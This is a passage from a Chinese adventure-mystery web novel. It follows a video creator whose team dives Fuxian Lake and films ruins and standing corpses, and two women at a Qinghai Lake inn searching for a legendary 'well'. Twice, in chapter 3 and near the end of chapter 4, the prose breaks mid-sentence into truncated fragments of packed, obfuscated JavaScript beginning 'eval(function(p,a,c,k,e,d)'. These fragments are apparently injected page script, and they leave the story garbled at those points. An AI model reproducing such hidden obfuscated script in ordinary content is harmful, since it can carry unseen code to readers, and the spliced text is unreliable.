眼见着人就要走,二百八还没搭上话呢,他心里那个急呀,赶紧跟上,一边陪着笑脸,一边想方设法跟她们搭话,完全不介意热脸贴冷屁股。 “你们是小马那个客栈的客人吧?” 没人搭理。 “你们来了几天了?周边都玩了吗?” 还是没人搭理。 “你们要包车吗?” 总算是进入正题。 “你们要是想包车到处玩儿,可以给我打电话,我拍照技术很好的,一定把你们都拍得美美的。” 二百八说着话一路小跑跟上,又从衣兜里摸出一张名片递给她,见冷晚晚没什么反应,他又把名片往冷晚晚面前伸了伸。 冷晚晚脚步未停,转头冲着二百八笑了笑,伸手接过名片,然后红唇轻启,说了一句:“好啊,有机会的话!” 二百八见姑娘冲自己笑了,顿时心花怒放:“小马手受伤了,还能开车吗?要不我来开车把你们送回去?” 冷晚晚见这人跟牛皮糖似的,缠着就甩不掉了,心里实在不耐烦,脚下一顿,说道:“不用了,你去接着看热闹吧,我会开车,就不用麻烦你了!” 冷晚晚这话虽然是笑着说的,但二百八知道拒绝意味强烈,有些失落地说:“哦,那我走了,你们要找包车的话,记得给我打电话。” 冷晚晚嘴角微翘,头也不回地冲他摆了摆手。 小夭已经打开车门,推着小马坐到后座,之后斜倚着车门,裹着嘴里的棒棒糖,眼神玩味地看着二百八离开。 冷晚晚走到车门边,冲着小马说:“伸过来!” 小马一脸懵:“啊?” 小夭无语极了,白眼一翻,吼道:“把受伤的手伸过来!” 小马吓得一嘚瑟,缩着脖子“哦”了一声,他委屈巴巴,觉得自己好惨呐,最近总是莫名其妙被女孩子翻白眼,简直都要心梗了…… 冷晚晚拽了拽腰带,从身后拽出来一个腰包,文具盒般大小,拉开拉链,棉棒、小瓶消毒水、酒精……各种清创用具一应俱全,甚至还有针剂。 小马小心翼翼地问:“冷姑娘,原来你是医生啊?” 冷晚晚笑着摇摇头:“不是,因为经常受伤,所以都会自己备着。” **** 3. 抚仙湖 8月,正是闷热难耐的季节。 空调昼夜不停运行,屋内冷气游荡,周游躺在沙发椅里,面前的桌上放着一台笔记本电脑,他不断拖动鼠标,一条条翻看粉丝发来的私信。 他是一个视频up主,主要拍摄探险类视频,已经拥有百万粉丝,其实各大平台涉猎这样题材的博主不少,他之所以能脱颖而出,迅速走红,跟他的视频定位有很大关系——“一个人的冒险旅程”。 他的拍摄完全不借助团队力量,总是单枪匹马一个人,去往全国各地冒险旅行。 这样的形式对于拍摄者来说很危险,无异于玩命,却能给粉丝带来巨大的感官刺激,粉丝来自全国各地,可能做着平凡的工作,过着千篇一律的生活,他们无法跳脱出原有的生活,却可以透过周游的视频了解那些奇妙诡谲的世界。 周游从体院毕业后,跟自己的大学同学兼好友吴沅做起了自媒体,他很喜欢这份工作,全身心投入其中,几乎没什么休息时间,日常不是在路上,就是在去往路上的路上,但这一次,他破天荒在家休息了两个多月,主要因为受了伤。 上次拍摄,他去了一个叫毛旺的地方,在那里经历一场生死劫难,受了很严重的伤,差点送了命,吴沅紧张万分,命令周游必须老实待在家里修养,为了让他能快快好起来,还贴心地给他雇了一个阿姨。 上午十一点半,厨房里准时叮铃哐啷一阵响,阿姨正在忙着做午饭,不一会儿就有香气飘进来,周游一闻便知是猪骨汤的味道,这两个多月以来,阿姨每天都给他煲汤,不是鸡汤,就是猪骨,要么就是牛骨。 光喝汤也就算了,这阿姨做菜的手艺也是一绝,南北方风味都拿手,这段时间周游连吃带喝,体重直线飙升,足足胖了二十斤,再这么补下去原本的八块腹肌就要融成了一块,但是阿姨尽心尽力,周游也不好多说什么……哎,有时候做菜手艺太好,也是一种困扰……幸福的困扰…… 桌面突然震响,是扔在桌上的手机响了,周游拿起来一看,是吴沅打来的视频电话,按下接通键,一个五官周正的年轻男人出现在手机屏幕上,笑容灿烂。 那头太阳很大,吴沅戴着墨镜倚在船尾,身体随着船身一漾一漾的,身后是澄绿的水面,阳光打下来波光粼粼的,再远一点是连绵起伏的莽莽青山。 周游忙问:“怎么样?” 吴沅不答反问:“你呢,阿姨今天给你煲汤没?喝了吗?” 周游无语:“这个重要吗?” 吴沅一脸认真:“当然重要!我一个月花一万多雇的金牌月嫂,你得享受到应有的服务啊,要不然这钱不就白花了!阿姨要是哪里做得不好,你一定要跟我说!” 周游震惊:“你给我雇的阿姨是……月……嫂?” “昂,熟人介绍的,说是做饭好吃,人又勤快,你都不知道现在阿姨多抢手,我特么真是为你操碎了心!” 像是觉得周游少见多怪,吴沅又说:“哎呀,你就别管是不是月嫂,人家能把你照顾好就行,那句话不是说了嘛,别管黑猫白猫,只要抓住老鼠他就是好猫!再说了金牌月嫂啊,那都是阿姨中的佼佼者,我跟你讲没有我这层关系,你都排不上号!!你看你之前受了那么重的伤,鬼门关里走了一趟,不就跟人家生了孩子要坐月子一个样嘛!怎么样?这个阿姨还行吧!” 吴沅说起来就没完没了,周游实在受不了,苦笑着说:“挺好,挺好……反正我也差不多好了!” 见周游一副有苦难言的样子,吴沅摘掉墨镜,仔细盯着周游的脸看了看:“咋?这阿姨真不行?不能啊,我才走了一个星期,我看你这脸又胖了一圈,伙食应该挺好啊!” 周游死心:“伙食确实挺好!一日三餐连吃带喝,以前八块腹肌的我已经不存在了,我现在是一块腹肌的钮钴禄·周游……” 说着竖起手机,开始展示自己日渐隆起的腹部,吴沅在视频那头笑得前仰后合。 书房的门没关,阿姨突然探头进来,轻轻敲了敲门,周游暂停了跟吴沅的对话,朝着门口的阿姨点点头,阿姨进来客客气气地说:“周先生,今天午饭做好了,四菜一汤,汤是猪骨汤,我早上就炖上了,炖了好几个小时,您多喝点,这样身上的伤才能好得快……” 周游也礼貌回应:“好的!谢谢您!” 原本以为对话完结,周游正准备跟吴沅继续聊天,阿姨却站在门口不走了,她双手绞在身前,有些不安又有些犹豫。 “阿姨,您还有什么事儿吗?” 阿姨终于鼓足勇气,试探着问:“那个吴先生是不是觉得我做得不好啊,您跟他说说,明天我就改菜单,到时候发您一份,再发给他一份……” 做阿姨这行经历得多了,十分会察言观色,她刚刚在厨房做菜,忽听见两人说话,还以为是对她工作不满意,有些惴惴不安,这一行不少都是熟人介绍,口碑很重要。 阿姨一定是听到了刚刚的对话,周游面上有些尴尬,忙冲着阿姨说:“没有,没有,我们对您挺满意的!您看您这么尽心尽力照顾我,我伤好得这么快,日常下地走路都没问题了!” 吴沅在视频那头将阿姨的话也听了去,知道自己惹了事儿,赶忙在那头大声感谢阿姨:“阿姨,您千万别多想,周游刚刚还在跟我夸您厨艺好呢,等我回来给您发奖金!” 说着,还不停催促周游把手机屏转过去,他好跟阿姨打招呼。 “那就好!那就好!” 阿姨暗暗松了一口气,她来这边工作了两个月,对这两个年轻人印象十分不错,人长得好又有礼貌,事业也不错,只可惜…… 阿姨定了心,正准备出去,想了想又停下来,跟周游叹道:“吴先生对您可真好啊!比很多丈夫好多了……我做阿姨见过许多姑娘,刚生完孩子,丈夫什么都不管,喂奶、换尿布就别提了,连阿姨都是姑娘自己出钱请的……唉!” 说到这里,阿姨脸色一沉,默默叹了口气,过了会儿再抬起头的时候,脸上露出温柔笑意:“周先生,这个时代能遇到这样的感情真是不容易……我儿子跟你们一样,到年纪了也不结婚,以前我老逼他,但现在我想开了,随他去吧……像你们这样不也挺好的么……” 阿姨这话发自肺腑,说得情真意切,但不知为何,周游听来却十分不对劲。 不光他觉得不对劲,就连视频对面的吴沅也感觉到了。 “这个……这个……阿姨是不是对我们有什么误会?”吴沅一脸懵。 周游突然顿悟,一脸尴尬,急忙想要解释,可阿姨已经出去了,只能伸长脖子冲着门口一阵呼号:“阿姨,您听我说,我不是……我们不是……哎呀!!” 隔着屏幕,气氛微妙,两人嫌恶地互看了一眼。 吴沅极力否认现实,脑袋摇得像拨浪鼓:“不会吧?不会吧?我特么比钢筋还直,竟然还有人以为我跟你是一对?” 当话落到“一对”这个词,再看看屏幕对面的人,两人顿时像是见到了鬼,五官紧皱,浑身一抖。 周游一脸嫌弃,实在不想再继续这个话题:“行了,行了!说正事!你那边怎么样了?” 吴沅望了望身后荡漾的水面,一脸幽怨:“这湖也太特么深了,想拍点东西太难了,今天我另外想了个办法,过会儿试试看,不一定能成……” **** 因为周游受伤还未痊愈,原本的拍摄计划不得不暂停,账号日常更新只能用之前的素材,但日子一天天过,素材眼见见了底,即将面临断更的问题。 跟很多视频up主一样,周游也有团队,人不多,加上周游和吴沅两个创始人,也才六个人,各个精明强干,在自己的领域都是一把好手,但他们都没出去跟拍过,根本没有野外拍摄和生存的经验。 时间紧迫,不能再拖,吴沅决定亲自带队出去拍摄,对此周游十分不放心,拍摄还是其次,他主要怕一群人去了出事儿,吴沅这家伙他是了解的,虽然长得人模人样的,但实际上胆小又吃不了苦,当初也是因为受了不了训练的苦,在家一哭二闹三上吊,最终逼着家里人不得不同意他从体院退学,断了他父母望子成“亚洲飞人”的梦。 吴沅才不管呢,理论上说他可是周游的投资人,也就是金主爸爸,他难道还需要听周游的话? 一个星期前,吴沅带队,一行四人去了云南玉溪,此行的目的就是去抚仙湖湖底寻找消失的古滇国文明,这个湖位于江川和澄江的交界处,是国内最大的淡水高原湖泊,海拔1700米左右,最大水深达到了158米,历年来,探秘抚仙湖的人不少,各种光怪陆离的传说和谜团层出不穷,但都因为湖底太深,风险不可预测,始终没人敢潜下去一探究竟。 对于这次拍摄,吴沅信心满满,这么些年没有吃过猪肉还没见过猪跑吗?周游拍的内容他可是反反复复都看过的。 跟他同行的团队小伙伴,一共二男一女,大家也都干劲满满,兴奋不已,毕竟常年待在办公室,早腻了,这次来云南拍摄,想想都觉得是一件特美,特有趣的事儿。 按照计划,他们先在抚仙湖边找了间民宿,又在民宿附近找了间靠谱的潜店,里面的潜水教练都有十年左右的教龄。 为了更好地体验和拍摄,吴沅给所有人都报了OW+AOW的潜水课程,负责带他们的两个教练,一个姓刘,不到三十岁,个子不高,总是乐呵呵的,性格挺好,另一个姓董,三十中半,长得又黑又壮,常年在三亚和抚仙湖一带教人潜水,海水潜水和淡水潜水都有经验。 吴沅这人会来事儿,为了之后能顺利拍摄,当晚就请教练一起吃了个饭。 吃饭的地点定在了一家做石锅鱼特别好的店,大家兴致都很高,几杯酒下肚,就熟络地聊开了,两个教练这么多年走南闯北,见过形形色色的人,多得是鲜活、离谱的故事,于是轮番开讲,大家围坐一圈听得津津有味,不时发出阵阵爆笑声。 后来,话题又重新回到了抚仙湖,团队里唯一的姑娘小悦悦突然问:“那些关于抚仙湖的传说是真的吗?你们都下去看过吗?” 一说到这个话题,年龄稍大的董教练眼睛顿时就亮了,他靠着椅背,洋洋自得地说:“这你算是问对了人!我的师父,算是这一带的潜水奇人,几十年前,他曾经不依靠任何潜水设备,闭气潜到了湖底。” “无装备!!!潜到了湖底!!!” 大家都惊呆了! 董教练随即自豪地掏出皮夹子,向大家展示起上面夹着的一张合影。 “这个就是我师父!怎么样?是不是看起了就很不一般?哈哈,那时候我还是个毛头小伙子……” 大家争先恐后地翻看,都想一睹奇人风采,吴沅也好奇地拿过来看了看,照片上的男人其实长得很普通,放在人堆里都找不着的那种,根本不出挑,三四十岁的样子,脸颊瘦削,唯一的特点就是嘴角有颗不大不小的黑痣。 “据我师父说,他在湖底看到了一大片古建筑,虽然在水底经历千年,但仍能看出曾经的宏大盛景,那些应该就是古滇国的遗迹,我师父很兴奋,想要靠过去看得更仔细些,却发现那些建筑里人影憧憧,似乎还住着活人……” 大家听得入神,下意识屏住了呼吸,身上瞬间泛起一层鸡皮疙瘩。 “他当时单枪匹马,心里有点害怕,于是调转方向,准备回去,结果穿过一片水草森林后,他又有了新的发现……” 说到这里,董教练突然停下来,笑着卖起了关子。 大家连忙追问:“他看到了什么?” 他像是很享受这种被人瞩目的时刻,不急不忙地喝了一口酒,咂了咂嘴,这才一脸神秘地继续往下说。 “他看到了数不胜数的尸体,都诡异地斜站着,男尸前倾,女尸后仰,还会随着水的流动而飘荡晃动,就像活人一样!” 一旁的刘教练应该是反复听过许多次了,早就见怪不怪了,一脸平淡地在旁补充:“关于抚仙湖的各种传言很多,有一年玉溪政府还曾经联合央视搞过一个水下探秘活动的直播,结果拍了不到40分钟就中断了,现在都找不到当年的那段影像了,网上应该还有不少当年的新闻。” “真的吗?” 小悦悦一脸好奇,赶忙掏出手机查起来,几秒钟之后有了结果。 “是真的,真的搞过水下直播!直播因未知原因中断了,当年的视频也没了!” 越说越神秘,吴沅和小伙伴们早已按捺不住,都巴不得马上下水去见识一番。 隔天一大早,他们就早早到了潜店,学习了大半天理论课程,下午才在开放水域的指定潜点潜了2次,大家都是第一次潜水,一下到水下,一切都变得绮丽神秘起来,因为抚仙湖这一带喀斯特地形溶洞纵横交错,在水下也能看到了不少水下石林和天然鱼洞,游鱼擦着身体而过的感觉非常奇妙。 第二天,一切照旧,他们照常跟着教练下水,在指定潜点潜了几次,这次他们看到了一整片低矮水草森林,阳光透过湖水打下来,美极了,还幸运地看到了古渔船遗迹和桃花水母。 第三天,还是照常重复,之后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“深潜下去,对我们这些老手来说倒不是难事,关键是需要好几个人同时下去,相互配合,这样能避免出事,另外装备方面也有要求,所以花费有点贵……” 吴沅心道只要花钱能办事,何乐而不为呢,再说了还不用他自己去冒险,挺好,于是大手一挥,说道:“钱好说!好说!” **** 挂了电话,周游又看了看账号后台数据,正准备起身出去吃饭,突然收到了一封吴沅发来了的邮件,点开一看是一条压缩的视频内容,紧接着吴沅的视频电话就打来了。 “哥们儿,你快看看,视频拍得怎么样?快点看,如果不行,我再让他们下去一趟……” “他们?谁啊?谁下去拍的?” 吴沅不停催促:“哎呀,你别墨迹了,我跟你说,你耽误一分一秒,浪费的可都是哥们儿我的真金白银!” “嗐,咱们吴大公子还会担心花钱?这还真是稀奇了!” “我特么怎么就不担心花钱了,我的钱也不是大风刮来的,那可是我们家老头子……千辛万苦给我攒下的家业,我得省着点花!” 周游还想说什么,吴沅就在那头露出痛心疾首的表情。 周游只好老老实实坐回原位,无奈说道:“行行行!我马上看!” 迅速下载视频,解压,再点击播放,水下拍摄的画面开始播放。 画面有些晃,水下万籁俱静,只能听到调节器发出咕噜咕噜的呼吸声,镜头前方有一个潜水员,身上背着两个压缩氧气瓶,脚蹼不停上下摆动,不时呼出长串泡泡,像是突然腾起的白烟。 目测一共下去了三个人,因为水下情况不明,他们一边布置引导绳,一边按照顺序往深处下潜,拍摄者应该颇有些经验,很快就调整好镜头和状态,画面变得稳定了,沿途能看到石林、水草,和惊起的游鱼,但所有人都没有停留,持续下潜,拍摄者不时向镜头展示手腕上显示水深的表盘。 50米……60米……70米……80米…… 看着数字不停跳转,周游的心也跟着骤然收紧,水面下的光线越来越暗,能见度大大降低,几人不得不打开潜水灯继续下潜。 等到下潜到100米时,除了无尽的水,四周什么都没有,电脑屏幕这头的周游突然感到一阵恐惧,那种恐惧是因为面对浩瀚未知的水域,他深切感受到了人类的渺小,水下世界千变万化,人类的想象力可能都无法描述和展现。 前方潜水员忽然剧烈晃动潜水灯,灯柱在水里打来打去,有情况! 另外两人迅速靠过去,很快,镜头里就展现出了他们的发现——一座沉睡湖底的古城。 说是古城却早已没了古城的样貌,湖底残砖遍布,垮塌的墙体高高低地立着,因为年代久远,上面都覆盖了一层厚厚的青苔和水草,随着水流一漾一漾的,说不清有多大面积,但潜水灯的光柱朝着各个方向打过去,视野的尽头都能看到残存的墙体和瓦砾,这座古城似乎很大,根本没有边际。 几个人都很兴奋,他们似乎是想要看得更清,俯身贴着遗迹一路潜行,在断壁残垣之中,偶尔还能发现一些破碎的陶器,轻轻挪开,陶器之下的土层里还有一些壶状器物,用手抹掉表面的青苔,露出青绿色的铜锈。 很可能是青铜器。 古滇国拥有高度发达的青铜文明,看来抚仙湖下说不定真是古滇国遗迹! 有此发现,几人聚在一起比手画脚热烈讨论,这时湖底水流突然起了变化,像是刮起了大风,瞬间卷起湖底的沉淀物,一时间眼前的水域浑浊不堪,那景象犹如起了沙尘暴,水流似乎也带着力道,不停推着三人向着远处偏移,镜头里除了浓浊的漂浮物,什么也看不清,只能依稀看见摇晃的灯柱。 大约持续了几分钟,沉淀物开始慢慢下沉,能见度微微提升,还好三个人拉住了牵引绳,他们相互间做了手势,应该是要上去了。 就在这时,再看向湖底时,又见到了另一番景象。 无数的死尸手拉手站在湖底,他们围成一个个圆圈,周游赶忙暂停画面仔细观察,死尸大多□□,有些看上去已经死了很久,全身呈僵死的灰白色,再细看内部早已腐化空洞,就只剩下一层尸蜡包裹的人形壳子。 周游看着湖底诡异的圆圈,突然发现一种规律——每个圆圈都是九个死尸手拉手围合而成,有的刚好凑满九个,有的则缺一两个,但是根据留下的空位可以断定,就是九个,所以这个数字有什么特殊的含义吗? 这些站立的死尸,男女皆有,但男人看上去要么瘦弱,要么年老,这又是为什么? 靠近镜头的那一圈死尸倒很新鲜,看起来死了不久,周游不断用鼠标拖移放大画面,等视线落到某一具死尸身上时,周游的手臂陡然一僵,整个人都愣在原地,过了半响才张嘴喃喃自语。 “那个男人,那个嘴角有黑痣的男人,好像还活着?!” *** 4. 人影 青海湖边,观澜客栈。 已接近中午,不少客人预定了午餐,央金在餐厅里进进出出地帮忙,偶得空闲,就要探头出去观望一阵,次数多了,厨房里所有人都瞧出来这小姑娘正一心记挂着某人呢! 有看热闹不嫌事大的老阿妈笑着调侃:“哟,我们央金的魂都跟着小马跑掉了!” 说完,厨房里一阵哄笑,央金脸皮子薄,顿时羞红了脸,又气又急地解释:“才没有呢!我是……我是……担心他出事……老板娘刚买的车……可不能让他开坏了!” “哦……”大家都强忍着笑意,一脸看破不说破的表情。 见央金被戳破了小心思,一脸气急败坏的样子,客栈老板娘卓玛实在没忍住,轻笑出声。 央金本来还生着小马的气呢,这会儿又因为他被这么多人逗弄,顿时更气了,气鼓鼓地就冲出了厨房。 卓玛见状,忙在她屁股后头笑着喊:“好了好了,不逗你了!快回来干活儿!” 没办法,她只能硬着头皮又回去,结果前脚刚进厨房,后脚就听见屋外有熟悉的车声响起。 “呀,是小马回来了!”有老阿妈提醒央金。 “他回不回来,关我什么事?”央金装出一副满不在乎的样子。 所有人都看透了她的口是心非,但也不说破,都你看看我我看看你,憋着笑。 ***** 那头冷晚晚车还没停稳,小马就急吼吼拉开车门,像离弦的箭一般冲了下去。 冷晚晚见状,简直目瞪口呆,小夭倒是很淡定,歪嘴笑着说:“这是尿急了?刚刚在车上怎么不说!这要憋坏了可怎么办啰!” 冷晚晚看着小马瞬间消失的背影,又瞥了一眼副驾搁着的玫瑰花,眉头微蹙,问道:“他这会儿花都顾不上了?!” 小夭才懒得管:“管他呢,这事儿也用不着我们操心!” 就在这时,央金兴冲冲从厨房冲出来,站在客栈门口朝这边张望,应该没想到小夭和冷晚晚会从车上下来,她控制了又控制,还是忍不住垮了脸,脸色瞬间变得难看。 冷晚晚微微一笑,嘴角翘了翘,面颊下方露出两个好看的酒窝,她心想着:“小马这家伙人傻嘴笨,搞对象都不会,真是急死人,算了!我就救人救到底,送佛送到西吧!” 想到这,她朝央金招了招手,央金一时不明所以,往两边看了看,见没别人,又一脸懵地指了指自己,用口型问:“找我?” 冷晚晚点了点头,下巴朝着副驾指了指:“小马在副驾给你留了礼物,你去看看!” 央金这下更懵了,小马给她买礼物?这可真是太阳打西边出来了……她迷迷瞪瞪走过去,一开门,就看到一大束火红的玫瑰花,顿时惊呆了,过了好一会儿才反应过来,整个人又惊又喜,乐得合不拢嘴,赶忙抱在怀里低头闻了闻,浓郁的花香令人心醉,她像是仍不相信,问道:“这花真是他送我的吗?真的吗?” 也是,毕竟谁能想到千年铁树突然开了花,榆木脑袋突然上了道呢? 冷晚晚言笑晏晏:“是啊!他还是专门去西宁买的,说是为了跟你表达心意,他这会儿啊,应该在宿舍等你呢!快去看看!” 冷晚晚话说得直白,央金的脸瞬间红到了脖子根,抱着花,埋头疯也似的跑了。 小夭盯着央金的背影,很是无语:“这两人也真是,看对眼了就直说呗!搁这儿磨磨唧唧的!” 冷晚晚倒是觉得有趣,她瞥了小夭一眼,数落道:“人家这叫青春懵懂,多纯情啊,你以为都跟你一样天天跟刺头似的,见人就扎,嘴里没一句好话?” 说完,顿了顿又说:“还有,别老去招惹小马,让他给你干这干那,搞得人家小情侣天天吵架!” “得得得,都是我的错!” 小夭十分不服气,说着白眼一翻,咔哧咔哧嚼碎了嘴里的棒棒糖,气呼呼甩着膀子走了。 ****** 一回到房间,小夭甩脱了鞋,一个腾跃而起把自己扔在床上,四仰八叉大字形躺着,一双大眼圆睁着,盯着屋顶发起了呆。 冷晚晚摘掉繁复的头饰,换了鞋子,窝在窗前的沙发里,反复翻看着一个牛皮笔记本,笔记本看上去有些年头了,纸页已经泛黄,外皮也变成了油亮的红棕色。 客栈紧邻青海湖,房间里有一大扇玻璃窗,坐在房里就能看到碧蓝的湖面和湛蓝的天空,正值午间,不少游客在湖边嬉戏拍照,冷晚晚不时失神地看向窗外,指尖轻敲笔记本,发出细微的哒哒声。 按照原计划,她们上午本来要到附近的湖底看看,结果好巧不巧那片区域发生了状况,引来了好多人围观,又是无人机,又是拍摄直播,两人不得不放弃计划,暂时回客栈待着了。 其实湖里有鱼出没没什么奇怪的,要是从土里突然钻出这么多鱼才叫奇怪呢,所以冷晚晚和小夭都没怎么觉得新奇,再说他们都在这边待了一个多月了,冷晚晚白日里几乎都在湖底转悠,看鱼的机会多了去了。 只是这会儿小夭想起鱼群扑岸的景象,多少觉得有些奇异,于是翻身侧躺在床上,一脸好奇地问冷晚晚:“哎,你说那湖里怎么会突然涌出那么多的鱼?还直往岸上扑,真是奇怪……” “这有什么好大惊小怪的,水下世界本来就很奇妙,什么都有可能发生……你看中国古代很多神话故事可都是关于水下的……” “哎呀,我知道,但是我就是觉得有点不对劲,你之前没在湖底发现什么怪异的地方吗?” 冷晚晚叹了一口气:“要真发现了什么,咱们还至于在这里耗这么长时间吗?” 这话倒是,在这青海湖边已经待了一个多月了,冷晚晚恨不得每天都泡在水里,结果还是一无所获……两人都有些失落,也没了聊天的兴致,于是又各自躺尸、发呆去了。 冷晚晚大小夭几岁,小夭是她姑姑冷月如的养女,两人算是吃一锅米长大的姐妹,她们多年间已经形成了一种“动静皆宜”的相处方式,“动”就是动不动就掐架,互相不服气,但转头就和好,也不会相互计较,“静”则是指她们在相处时,也能维持一种安静状态,就比如此时此刻,各自占据房间一隅,不声不响,互不打扰。 时间一点一点过,小夭终于困意来袭,睡了过去,等醒来时,窗外已经日落西沉,霞光漫天,她支起身子去看冷晚晚,只见她后仰着躺在沙发上,一动不动,眼睛微合,小夭知道她没睡,便一边下床一边说:“吃饭去吧,我饿了!” 冷晚晚腾一下睁开眼睛,冷不丁问了一句:“你说,这个‘井’真的存在吗?如果存在又到底在哪里?” “你问我我怎么知道?你去问冷老爷子啊,他说不定会告诉你!”小夭语气不冷不淡。 “算了吧!动不动就要我结婚生孩子,这谁受得了,现在都什么年代了,他还是那种封建老思想,还好我把他拉黑了,要不然这段时间肯定一个电话接一个电话,咱们哪能清净啊!” 小夭像是诈尸一般,突然一蹦三尺高,震惊大喊:“什么?你把冷老爷子拉黑了!!!” 冷晚晚还是躺着不动,微微转头看向小夭:“嗯,怎么了?!他一把年纪了,也不会突然杀过来,你怕什么?” 小夭这下着了急:“他要是知道我跟你出来了,不得扒了我的皮炖汤啊!还有我月如妈肯定也惨了,说不定电话早打到她哪儿了!” 冷晚晚满不在乎地说:“来都来了,既来之则安之,放心,姑姑自有办法对付老爷子……至于用你炖汤,应该不至于,那挺费材料的……老爷子这么勤俭节约,肯定舍不得……” 小夭:“……” 小夭一时间心绪不宁,忙从行李包里掏出一根棒棒糖,撕掉包装丢进嘴里,丝丝的甜味触达舌尖,这才渐渐平复下来。 既然已经到这步了,也顾不了那么多了,该吃吃该喝喝,一切等回去再说吧! 小夭摸了摸早已空空如也的肚子,一个劲催促冷晚晚:“你倒是快点起来啊,吃饭去,快快快!饿死了!” ****** 她们俩在青海湖边已经待了一个多月了,早就跟厨房里的老阿妈混熟了,老阿妈一见他们,就本能地问:“还是耗牛骨番茄锅?” 住在青海湖边,不像城里餐厅遍地,想吃什么吃什么,实在不想出门,还可以点外卖,在这里,要么吃泡面,要么就只能在客栈餐厅点点当地菜吃吃,好在这家老阿妈的手艺还不错,耗牛骨番茄锅做得一绝,两个人隔三差五就要吃一顿。 她们挑了一张靠窗的位子坐下,静静等餐上桌,期间看到央金铁青着一张脸出出进进,小夭猜测小马八成是又搞砸了,于是跟冷晚晚使了使眼色,幸灾乐祸地说:“看来,你的红娘计划还是失败了!” 冷晚晚也看出了不对劲,央金中午收花的时候明明挺高兴的,怎么这会儿就跟霜打的茄子似的了? 等到老阿妈来上菜的时候,两人一把拉住她,好奇地问了问,老阿妈一脸憋笑,用手挡着嘴小声说:“听说是门都没进去,就被赶出来了!” 小夭听不明白:“谁?谁把谁赶出来了?” “哎呀,就小马,小马把央金赶出来了!” 小夭微微咂舌:“就他?他敢?他不怕那小丫头片子把他骨头拆了啊?” “那谁知道,这小马也是,一天天让人弄不明白,不刚刚才送了花么,怎么转头就变了脸呢……” 正是吃晚饭的点儿,餐厅里忙得不行,老阿妈没有时间停留,分享完八卦,立马闪身走人。 “算了算了,不关我们的事儿!咱们安心吃饭!” 小夭说着拿过冷晚晚的碗,帮她从锅里盛出一碗鲜亮的汤,自己也赶忙盛了一碗,呼噜呼噜喝起来。 青海地区昼夜温差大,吃到中途屋里热气升腾,在窗上蒙了一层水汽,冷晚晚突然停下筷子,伸手在窗户上画了一条小鱼,幼稚的简笔画风,一笔从头画到尾,之后又在下方画了几条波浪线,看起来就像起伏不定的水面,她就那么定定地看了一会儿,像是觉得傻,又从桌上抽出纸巾,抹掉了窗上的痕迹。 原本雾蒙蒙的玻璃窗上就那么留下突兀的一块,透过那块区域,可以看到夜幕下的青海湖,与白日又完全不一样了,黑沉、孤寂又神秘…… 冷晚晚支起胳膊撑着脸,盯着窗外的湖面渐渐出了神,小夭一下子就看透了她的心思,板着脸,低声说:“不行!你想也别想!来的时候我月如妈可吩咐过了!让我好好看着你!” 冷晚晚一脸幽怨地看向窗外,叹道:“不让水捞子下水真是离谱!我现在看着这么好一片湖就浑身技痒难受,真想一个猛子扎下去!” 小夭像是听了什么荒唐话,连连摆手:“别,您可别吓我,你是一个猛子扎下去,别人还以为你大晚上寻短见呢!再说了,也不是不让你下水,白天你想去哪儿都行,只要不要被人看见,但晚上不行!我月如妈说了,你要是出了意外,冷老爷肯定不会放过我!” “你也知道,这白天和晚上两个样,很多东西只有晚上才能显出来,那小鱼小虾都知道白天要躲着呢!!” 小夭眼皮都没抬一下,夹起一块肉就往嘴里送,嚼吧嚼吧咽了下去,这才接话:“那我不管,反正我月如妈的话我得听!你最好听话点,要不然我跟她打小报告,她肯定会让佟刚来把你揪回去,到那时候你可是叫天天不应,叫地地不灵了!” 冷碗碗躺在椅背上,冷笑了两声,一脸挑衅:“还打小报告?我不了解你?跟着我在外面玩不比回去待着有趣多了?你这野性子,真要回去,你愿意?” 小夭这下不说话了,头埋得低低的,胡乱地扒着碗里耗牛肉,末了从齿缝中含混地吐出一句:“反正你晚上不能下水!” 也罢也罢,冷晚晚倒也不想为难她,自己毕竟是冷家的独苗,大家紧张也是正常,就比如自己那个已经八十多的爷爷,那真是为了她终日惶惶不安,怕她出意外,更怕她没能给冷家留下后就出意外,所以不停催她结婚生子,说什么生三个四个不嫌少,十个八个也不嫌多……冷晚晚也是一个头两个大。 刚开始老爷子还算克制,也就言语上说说,冷晚晚左耳进右耳出,权当没听见,可后来就变本加厉起来,经常动不动就卖惨相逼,说什么自己时日无多,让她好歹给冷家留个后,这样他死后能有脸去见地下的老祖宗。 可冷晚晚也不是一般人,什么亲情攻势、道德绑架,对她根本不奏效,她觉得自己现在这样就很好,每天自由自在、游戏人间,想干嘛干嘛,哪天空了还可以找个帅哥谈谈恋爱,腻了就挥手拜拜,多么潇洒快乐,何必作茧自缚,困在一些老传统里呢? 冷老爷子见她根本没结婚的心思,那真是跟着干着急,各种方法都试过了,实在无计可施了,就只能埋怨她姑姑冷月如,毕竟冷晚晚从小养在她身边,由她一手带大,冷老爷子觉得冷晚晚是有样学样,跟她姑姑学坏了。 每次他在冷晚晚那里受了气、吃了瘪,就一个电话打过去,开始数落冷月如,后来冷月如也习惯了,老头儿电话一打来,她先接通应两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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小夭趴在床上目不转睛看她,心中也不由感叹,真美啊,果然不论男女都是喜欢看美女的。 冷晚晚斜了她一眼:“你看什么看,你不洗啊!” “洗啊!” 小夭说着翻身爬起来,拿着睡衣就进了浴室,她心情似乎很不错,浴室里不一会儿就传出了她的歌声。 冷晚晚听着不自觉笑了笑,倒了杯热水,捧着走到沙发边,裹了条毯子坐下,又拿起桌上的牛皮笔记本翻看起来。 没一会儿,小夭就洗好出来,一边擦头发,一边问冷晚晚:“明天还去巡湖吗?” 冷晚晚嗯了一声。 “你说你都在湖底转了一个月了,什么都没有发现,是不是地方不对啊!” 冷晚晚也有所怀疑:“也有可能!” “你爸那笔记本里就一点没写?他们到底在哪里发现的‘井’?还有你大伯和冷老爷子就都没说过?” “没,爸爸的事儿,他们从来都是闭口不提……我只知道他们都是在青海这一带出的事……” 冷晚晚胡乱地翻着笔记本,手指头摩挲着纸页,冰凉、干涩。 